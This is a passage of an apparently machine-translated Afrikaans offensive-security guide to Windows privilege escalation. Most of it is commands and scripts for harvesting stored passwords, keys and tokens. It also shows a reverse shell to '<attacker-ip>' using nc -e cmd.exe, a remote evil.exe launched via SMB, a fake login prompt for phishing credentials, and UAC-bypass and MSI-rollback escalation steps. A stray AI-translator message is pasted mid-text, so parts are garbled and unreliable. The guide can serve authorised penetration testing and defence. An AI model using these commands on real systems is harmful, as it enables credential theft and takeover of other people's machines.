Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
Firewall-reëls
Kyk na hierdie bladsy vir Firewall-verwante opdragte (lys reĂ«ls, skep reĂ«ls, skakel af, skakel afâŠ)
Meer opdragte vir netwerk-enumerasie hier
Windows Subsystem for Linux (wsl)
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe
Die binĂȘre bash.exe kan ook gevind word in C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe
As jy root user kry, kan jy op enige poort luister (die eerste keer as jy nc.exe gebruik om op ân poort te luister, sal dit via die GUI vra of nc deur die firewall toegelaat moet word).
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
Om maklik bash as root te begin, kan jy probeer --default-user root
Jy kan die WSL lĂȘerstelsel ondersoek in die gids C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\
Windows Kredensiale
Winlogon Kredensiale
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
Credentials manager / Windows vault
Van https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Die Windows Vault stoor user credentials vir bedieners, webwerwe en ander programme wat Windows gebruikers outomaties kan aanmeld. Op die oog af mag dit lyk asof gebruikers hul Facebook credentials, Twitter credentials, Gmail credentials, ens. kan stoor sodat hulle outomaties via blaaiers aangemeld word. Maar dit is nie so nie.
Windows Vault stoor credentials wat Windows outomaties kan gebruik om gebruikers aan te meld, wat beteken dat enige Windows-toepassing wat credentials nodig het om toegang tot ân hulpbron te kry (bediener of ân webwerf) gebruik kan maak van hierdie Credential Manager & Windows Vault en die voorsiene credentials kan gebruik in plaas daarvan dat gebruikers voortdurend gebruikersnaam en wagwoord invoer.
Tensy die toepassings met Credential Manager kommunikeer, dink ek nie dit is moontlik vir hulle om die credentials vir ân gegewe hulpbron te gebruik nie. Dus, as jou toepassing die vault wil gebruik, moet dit op een of ander wyse met die credential manager kommunikeer en die credentials vir daardie hulpbron versoek van die standaard stoorvault.
Gebruik die cmdkey om die gestoorde credentials op die masjien te lys.
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
Dan kan jy runas met die /savecred opsies gebruik om die gestoorde credentials te gebruik. Die volgende voorbeeld roep ân remote binary via ân SMB share aan.
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
Gebruik van runas met ân verskafde stel inlogbewyse.
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
Let wel dat mimikatz, lazagne, credentialfileview, VaultPasswordView, of die Empire Powershells module gebruik kan word.
DPAPI
Die Data Protection API (DPAPI) bied ân metode vir simmetriese enkripsie van data, hoofsaaklik gebruik binne die Windows bedryfstelsel vir die simmetriese enkripsie van asimmetriese private sleutels. Hierdie enkripsie maak gebruik van ân gebruiker- of stelselgeheim wat beduidend tot entropie bydra.
DPAPI maak die enkripsie van sleutels moontlik deur ân simmetriese sleutel wat afgelei is van die gebruiker se aanmeldgeheime. In scenarioâs met stelsel-enkripsie gebruik dit die stelsel se domeinauthentiseringsgeheime.
Gekodeerde gebruikers RSA-sleutels, deur DPAPI gebruik, word gestoor in die %APPDATA%\Microsoft\Protect{SID} gids, waar {SID} die gebruiker se Security Identifier verteenwoordig. Die DPAPI-sleutel, saam geleĂ« met die meester sleutel wat die gebruiker se privaat sleutels in dieselfde lĂȘer beskerm, bestaan gewoonlik uit 64 bytes ewekansige data. (Dit is belangrik om daarop te let dat toegang tot hierdie gids beperk is, wat voorkom dat die inhoud met die dir opdrag in CMD gelys word, alhoewel dit deur PowerShell gelys kan word).
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
Jy kan die mimikatz module dpapi::masterkey met die toepaslike argumente (/pvk of /rpc) gebruik om dit te ontsleutel.
Die credentials files protected by the master password is gewoonlik geleë in:
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Jy kan die mimikatz module dpapi::cred met die toepaslike /masterkey gebruik om te ontsleutel.
Jy kan onttrek baie DPAPI masterkeys uit geheue met die sekurlsa::dpapi module (as jy root is).
PowerShell-kredensiale
PowerShell-kredensiale word dikwels gebruik vir scripting en automatiseringstake as ân manier om geĂ«nkripteerde kredensiale gerieflik te stoor. Die kredensiale word beskerm met DPAPI, wat gewoonlik beteken dat hulle slegs deur dieselfde gebruiker op dieselfde rekenaar waarop hulle geskep is, ontsleutel kan word.
Om ân PS-kredensiaal uit die lĂȘer wat dit bevat te ontsleutel, kan jy die volgende doen:
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
john
PS C:\htb> $credential.GetNetworkCredential().password
JustAPWD!
Wifi
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*
Gestoorde RDP-verbindinge
Jy kan hulle vind in HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
en in HKCU\Software\Microsoft\Terminal Server Client\Servers\
Onlangs uitgevoerde opdragte
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
Remote Desktop Kredensiaalbestuurder
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Gebruik die Mimikatz dpapi::rdg module met die toepaslike /masterkey om enige .rdg-lĂȘers te ontsleutel
Jy kan baie DPAPI masterkeys uit geheue uittrek met die Mimikatz sekurlsa::dpapi module
Sticky Notes
Mense gebruik dikwels die StickyNotes-app op Windows-werkstasies om wagwoorde te stoor en ander inligting, sonder om te besef dit is ân databasislĂȘer. Hierdie lĂȘer is geleĂ« by C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite en is altyd die moeite werd om na te soek en te ondersoek.
AppCmd.exe
Let wel: om wagwoorde vanaf AppCmd.exe te herstel, moet jy Administrator wees en dit onder ân High Integrity level uitvoer.
AppCmd.exe is geleë in die %systemroot%\system32\inetsrv\ gids.
As hierdie lĂȘer bestaan, is dit moontlik dat sekere credentials gekonfigureer is en herstel kan word.
Hierdie kode is onttrek uit PowerUP:
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
# Check if appcmd.exe exists
if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable
# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")
# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
# Get application pool name
$PoolName = $_
# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd
# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd
# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}
# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
# Get Virtual Directory Name
$VdirName = $_
# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd
# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd
# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}
# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}
SCClient / SCCM
Kontroleer of C:\Windows\CCM\SCClient.exe bestaan .
Installers word met SYSTEM privileges uitgevoer, baie is kwesbaar vir DLL Sideloading (Inligting van https://github.com/enjoiz/Privesc).
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }
LĂȘers en Register (Inlogbewyse)
Putty Creds
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
Putty SSH Gasheer-sleutels
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
SSH keys in registry
SSH private keys kan binne die registersleutel HKCU\Software\OpenSSH\Agent\Keys gestoor word, dus moet jy nagaan of daar iets interessant daarin is:
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
As jy enige inskrywing binne daardie pad vind, sal dit waarskynlik ân gestoor SSH key wees. Dit word versleuteld gestoor maar kan maklik ontsleutel word deur gebruik te maak van https://github.com/ropnop/windows_sshagent_extract.
Meer inligting oor hierdie tegniek hier: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/
As die ssh-agent-diens nie aan die gang is nie en jy wil hĂȘ dit moet outomaties op opstart begin, voer die volgende uit:
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
Tip
Dit lyk of hierdie tegniek nie meer geldig is nie. Ek het probeer om ân paar ssh keys te skep, dit met
ssh-addby te voeg en via ssh by ân masjien aan te meld. Die register HKCU\Software\OpenSSH\Agent\Keys bestaan nie en procmon het nie die gebruik vandpapi.dlltydens die asimmetriese sleutel-authentisering geĂŻdentifiseer nie.
Onbewaakte lĂȘers
C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
Jy kan ook vir hierdie lĂȘers soek met metasploit: post/windows/gather/enum_unattend
Voorbeeldinhoud:
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
SAM & SYSTEM rugsteune
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
Wolk-inlogbewyse
#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json
McAfee SiteList.xml
Soek vir ân lĂȘer genaamd SiteList.xml
Gecachte GPP-wagwoord
Daar was voorheen ân funksie beskikbaar wat die uitrol van pasgemaakte plaaslike administratorrekeninge op ân groep masjiene via Group Policy Preferences (GPP) toegelaat het. Hierdie metode het egter beduidende sekuriteitsgebreke gehad. Eerstens kon die Group Policy Objects (GPOs), wat as XML-lĂȘers in SYSVOL gestoor is, deur enige domeingebruiker geraadpleeg word. Tweedens kon die wagwoorde binne hierdie GPPs, versleuteld met AES256 met ân publiek gedokumenteerde standaard-sleutel, deur enige geverifieerde gebruiker gedekripteer word. Dit het ân ernstige risiko geskep, aangesien dit gebruikers kon toelaat om verhoogde voorregte te bekom.
Om hierdie risiko te verminder, is ân funksie ontwikkel om plaaslik gecachte GPP-lĂȘers te deursoek wat ân âcpasswordâ veld bevat wat nie leeg is nie. Wanneer so ân lĂȘer gevind word, ontsleutel die funksie die wagwoord en gee ân pasgemaakte PowerShell-objek terug. Hierdie objek sluit besonderhede oor die GPP en die lĂȘer se ligging in, wat help met die identifisering en remediĂ«ring van hierdie sekuriteitskwessie.
Search in C:\ProgramData\Microsoft\Group Policy\history or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (previous to W Vista) for these files:
- Groups.xml
- Services.xml
- Scheduledtasks.xml
- DataSources.xml
- Printers.xml
- Drives.xml
Om die cPassword te ontsleutel:
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
Gebruik crackmapexec om die wagwoorde te kry:
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
IIS Web-konfigurasie
Get-Childitem âPath C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem âPath C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem âPath C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Voorbeeld van web.config met credentials:
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>
OpenVPN-aanmeldbewyse
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]
$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}
Logs
# IIS
C:\inetpub\logs\LogFiles\*
#Apache
Get-Childitem âPath C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
Vra vir credentials
Jy kan altyd vra dat die gebruiker sy credentials invoer of selfs die credentials van ân ander gebruiker as jy dink hy kan dit weet (let wel dat om die kliĂ«nt direk te vra vir die credentials werklik riskant is):
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
#Get plaintext
$cred.GetNetworkCredential() | fl
Moontlike lĂȘername wat inlogbewyse bevat
Bekende lĂȘers wat voorheen wagwoorde in onversleutelde teks of Base64 bevat het
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db #Firefox
key4.db #Firefox
places.sqlite #Firefox
"Login Data" #Chrome
Cookies #Chrome
Bookmarks #Chrome
History #Chrome
TypedURLsTime #IE
TypedURLs #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
I canât access your files or repository. Please paste the contents of src/windows-hardening/windows-local-privilege-escalation/README.md (or the list of proposed files you want searched), and Iâll translate the relevant English text to Afrikaans following your rules.
cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem âPath C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
Kredensiale in die Vullisdrom
Jy moet ook die Vullisdrom nagaan om te kyk vir kredensiale daarin
Om wagwoorde te herstel wat deur verskeie programme gestoor is, kan jy gebruik: http://www.nirsoft.net/password_recovery_tools.html
In die register
Ander moontlike registersleutels met kredensiale
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"
Extract openssh keys from registry.
Blaaiergeskiedenis
Jy moet soek na dbs waar wagwoorde van Chrome or Firefox gestoor word.
Kyk ook na die geskiedenis, bookmarks en favourites van die blaaiers, want dalk is sommige passwords are daar gestoor.
Tools om passwords uit blaaiers te onttrek:
- Mimikatz:
dpapi::chrome - SharpWeb
- SharpChromium
- SharpDPAPI
COM DLL Oorskrywing
Component Object Model (COM) is ân tegnologie ingebou in die Windows operating system wat interkommunikasie tussen sagtewarekomponente in verskillende tale toelaat. Elke COM-komponent word geĂŻdentifiseer via ân class ID (CLSID) en elke komponent gee funksionaliteit bloot via een of meer interfaces, geĂŻdentifiseer via interface IDs (IIDs).
COM classes en interfaces word gedefinieer in die register onder HKEY\CLASSES\ROOT\CLSID en HKEY\CLASSES\ROOT\Interface onderskeidelik. Hierdie register word geskep deur die samestelling van HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.
Binne die CLSIDs van hierdie register kan jy die sub-register InProcServer32 vind wat ân default value bevat wat na ân DLL verwys en ân waarde genaamd ThreadingModel wat kan wees Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) of Neutral (Thread Neutral).
.png)
Basies, as jy enige van die DLLs wat uitgevoer gaan word kan oorskryf, kan jy escalate privileges as daardie DLL deur ân ander gebruiker uitgevoer gaan word.
Om te leer hoe aanvallers COM Hijacking as ân persistence mechanism gebruik, kyk:
Generiese wagwoordsoektog in lĂȘers en register
Soek na lĂȘerinhoud
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
Soek na ân lĂȘer met ân sekere lĂȘernaam
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
Soek die register vir sleutelname en wagwoorde
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d
Gereedskap wat na passwords soek
MSF-Credentials Plugin is ân msf plugin. Ek het hierdie plugin geskep om outomaties elke metasploit POST module wat na credentials binne die slagoffer soek, uit te voer.
Winpeas soek outomaties na al die lĂȘers wat passwords bevat wat op hierdie bladsy genoem word.
Lazagne is nog ân uitstekende tool om passwords uit ân stelsel te onttrek.
Die tool SessionGopher soek na sessions, usernames en passwords van verskeie tools wat hierdie data in duidelike teks stoor (PuTTY, WinSCP, FileZilla, SuperPuTTY, en RDP)
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
Leaked Handlers
Imagine that a process running as SYSTEM open a new process (OpenProcess()) with full access. The same process also create a new process (CreateProcess()) with low privileges but inheriting all the open handles of the main process.
Then, if you have full access to the low privileged process, you can grab the open handle to the privileged process created with OpenProcess() and inject a shellcode.
Read this example for more information about how to detect and exploit this vulnerability.
Read this other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access).
Named Pipe Client Impersonation
Gedeelde geheue-segmente, verwys na as pipes, maak proseskommunikasie en data-oordrag moontlik.
Windows bied ân funksie genaamd Named Pipes, wat onverwante prosesse toelaat om data te deel, selfs oor verskillende netwerke. Dit lyk soos ân client/server-argitektuur, met rolle gedefinieer as named pipe server en named pipe client.
Wanneer data deur ân pipe gestuur word deur ân client, het die server wat die pipe opgestel het die vermoĂ« om die identiteit van die client aan te neem, mits dit die nodige SeImpersonate regte het. Om ân privileged process te identifiseer wat via ân pipe kommunikeer wat jy kan naboots, bied die geleentheid om hoĂ«r bevoegdhede te verkry deur die identiteit van daardie proses aan te neem sodra dit met die pipe wat jy opgestel het interaksie het. For instructions on executing such an attack, helpful guides can be found here and here.
Also the following tool allows to intercept a named pipe communication with a tool like burp: https://github.com/gabriel-sztejnworcel/pipe-intercept and this tool allows to list and see all the pipes to find privescs https://github.com/cyberark/PipeViewer
Diverses
File Extensions that could execute stuff in Windows
Kyk na die bladsy https://filesec.io/
Monitoring Command Lines for passwords
Wanneer jy ân shell as ân gebruiker verkry, kan daar geskeduleerde take of ander prosesse wees wat uitgevoer word wat pass credentials on the command line. Die script hieronder neem proses command lines elke twee sekondes op en vergelyk die huidige toestand met die vorige toestand, en gee enige verskille uit.
while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}
Wagwoorde uit prosesse steel
Van laeâprivileeggebruiker na NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass
As jy toegang het tot die grafiese koppelvlak (via console of RDP) en UAC aangeskakel is, is dit in sommige weergawes van Microsoft Windows moontlik om ân terminal of enige ander proses soos âNT\AUTHORITY SYSTEMâ te laat loop vanaf ân onprivilegieerde gebruiker.
Dit maak dit moontlik om privileeĂ« te verhoog en UAC terselftyd met dieselfde kwesbaarheid te omseil. Boonop hoef niks geĂŻnstalleer te word nie en die binĂȘre wat tydens die proses gebruik word, is deur Microsoft onderteken en uitgereik.
Sommige van die geaffekteerde stelsels is die volgende:
SERVER
======
Windows 2008r2 7601 ** link OPENED AS SYSTEM **
Windows 2012r2 9600 ** link OPENED AS SYSTEM **
Windows 2016 14393 ** link OPENED AS SYSTEM **
Windows 2019 17763 link NOT opened
WORKSTATION
===========
Windows 7 SP1 7601 ** link OPENED AS SYSTEM **
Windows 8 9200 ** link OPENED AS SYSTEM **
Windows 8.1 9600 ** link OPENED AS SYSTEM **
Windows 10 1511 10240 ** link OPENED AS SYSTEM **
Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
Om hierdie kwesbaarheid te misbruik, is dit nodig om die volgende stappe uit te voer:
1) Right click on the HHUPD.EXE file and run it as Administrator.
2) When the UAC prompt appears, select "Show more details".
3) Click "Show publisher certificate information".
4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.
5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.
6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.
7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.
8) Remember to cancel setup and the UAC prompt to return to your desktop.
Jy het al die nodige lĂȘers en inligting in die volgende GitHub-repository:
https://github.com/jas502n/CVE-2019-1388
Van Administrator Medium na Hoë Integriteitsvlak / UAC Bypass
Lees dit om meer te leer oor Integriteitsvlakke:
Lees dan dit om meer te leer oor UAC en UAC bypasses:
Van Willekeurige gids verwyder/verplaas/hernoem na SYSTEM EoP
Die tegniek beskryf in this blog post met ân exploit code available here.
Die aanval bestaan basies uit die misbruik van die Windows Installer se rollback-funksie om legitieme lĂȘers te vervang met kwaadwillige tydens die deĂŻnstallering. Hiervoor moet die aanvaller ân kwaadwillige MSI-installeerder skep wat gebruik sal word om die C:\Config.Msi gids te kaap, wat later deur die Windows Installer gebruik sal word om rollback-lĂȘers tydens die deĂŻnstallering van ander MSI-pakkette te stoor waar die rollback-lĂȘers gewysig sou wees om die kwaadwillige payload te bevat.
Die samengevatte tegniek is soos volg:
- Fase 1 â Voorbereiding vir die kaap (laat
C:\Config.Msileeg)
-
Stap 1: Installeer die MSI
-
Skep ân
.msiwat ân skadelose lĂȘer (bv.dummy.txt) in ân skryfbare gids (TARGETDIR) installeer. -
Merk die installeerder as âUAC Compliantâ, sodat ân nie-admin gebruiker dit kan uitvoer.
-
Hou ân handle oop na die lĂȘer na installasie.
-
Stap 2: Begin deĂŻnstallering
-
DeĂŻnstalleer dieselfde
.msi. -
Die deĂŻnstalleringsproses begin lĂȘers verskuif na
C:\Config.Msien hernoem hulle na.rbf-lĂȘers (rollback-rugsteunkopieĂ«). -
Polleer die oop lĂȘer-handle met
GetFinalPathNameByHandleom te bespeur wanneer die lĂȘerC:\Config.Msi\<random>.rbfword. -
Stap 3: Aangepaste sinchronisering
-
Die
.msisluit ân aangepaste deĂŻnstallering-aksie (SyncOnRbfWritten) in wat: -
Sein wanneer
.rbfgeskryf is. -
Wag dan op ân ander gebeurtenis voordat dit met die deĂŻnstallering voortgaan.
-
Stap 4: Blokkeer verwydering van
.rbf -
Wanneer gesignaleer, open die
.rbf-lĂȘer sonderFILE_SHARE_DELETEâ dit verhoed dat dit verwyder word. -
Seine dan terug sodat die deĂŻnstallering kan voltooi.
-
Windows Installer faal om die
.rbfte verwyder, en omdat dit nie al die inhoud kan verwyder nie, wordC:\Config.Msinie verwyder nie. -
Stap 5: Verwyder
.rbfhandmatig -
Jy (aanvaller) verwyder die
